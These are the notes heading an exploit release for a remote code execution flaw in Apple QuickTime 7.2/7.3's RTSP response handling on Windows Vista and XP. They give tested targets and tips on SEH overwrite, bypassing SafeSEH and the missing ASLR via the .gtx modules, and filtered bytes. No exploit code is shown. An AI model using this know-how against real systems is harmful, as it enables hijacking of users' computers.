=============================================================
Apple Quicktime (Vista/XP RSTP Response) Remote Code Exec
=============================================================
Discovered by: h07
Author: InTeL
*Tested on:
    - Quicktime 7.3 on Windows Vista, Result: SEH Overwrite, Code Exec
    - Quicktime 7.2 on Windows Vista, Result: SEH Overwrite. Code Exec
 
    - Quicktime 7.3 on Windows XP Pro SP2, Result: SEH Overwrite, Code Exec
    - Quicktime 7.2 on Windows XP Pro SP2, Result: SEH Overwrite, Code Exec
 
 
Notes:
    [*] On Vista the QuickTimePlayer and the .gtx modules dont have ASLR enabled, NO RANDOMIZATION :)
    [*]All the 7.3 and 7.2 DLL modules are SafeSEH enabled, except for the .gtx modules, that is how u bypass the SEH 
    Restrictions in XP and in Vista!! so we use Addys from there.
    [*]There are ALOT of filtered characters so choose your shellcode wisely or you will run into Access Violations
    Since I didnt feel like wasting my time going through all the filtered Characters, go through it yourself.
        - Here are some \x4b, \x59, \x79
    [*]I did hit my shellcode but b/c i havent gone through all the filtered characters i got an Access Violation
    in the shellcode
    [*]Can be easily modified to keep accepting clients with a lil modding, do it yourself u noobs
     
    [***]Here is an example of how to embed a streaming the quicktime redirection to the RTSP exploit.
